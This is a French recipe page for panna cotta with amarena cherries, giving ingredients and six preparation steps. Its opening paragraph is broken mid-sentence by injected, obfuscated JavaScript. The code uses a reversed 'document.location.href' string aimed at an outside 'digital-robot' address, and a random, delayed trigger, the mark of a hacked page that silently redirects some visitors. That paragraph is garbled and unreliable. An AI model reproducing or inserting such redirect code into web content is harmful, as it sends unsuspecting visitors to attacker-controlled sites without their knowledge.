Panna cotta aux cerises amarena

2021-05-03

Versez la crème dans une casserole. Portez à ébullition. Hors du feu incorporez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant la poudre à flan jusqu’à ce qu’elle épaississe, ajoutez l’extrait d’amandes amères, et l’eau de fleur d’oranger.

Ingrédients

  • Pour 4 personnes
  • 50 cl de crème fleurette
  • 1 sachet de poudre à flan
  • Quelques gouttes d'extrait d'amandes amères
  • 1 cuillère à soupe de fleur d'oranger
  • 30 cerises
  • 20 cuillères à soupe de sirop de cerises (Amarena) que l'on trouve en épicerie locale Italienne

Préparation de la recette

Etape 1

Versez la crème dans une casserole.

Etape 2

Portez à ébullition.

Etape 3

Hors du feu incorporez tout en remuant la poudre à flan jusqu'à ce qu'elle épaississe, ajoutez l'extrait d'amandes amères, et l'eau de fleur d'oranger.

Etape 4

Versez deux cuillères à soupe de sirop de cerises amarena au fond de chaque ramequin, complétez en alternant une cuillère à soupe de sirop et une cuillère à soupe de crème fleurette, pour obtenir un effet marbré.

Etape 5

Placez au réfrigérateur pendant 4 heures.

Etape 6

Au moment de servir nappez chaque panna cotta de cerises amarena avec leur sirop

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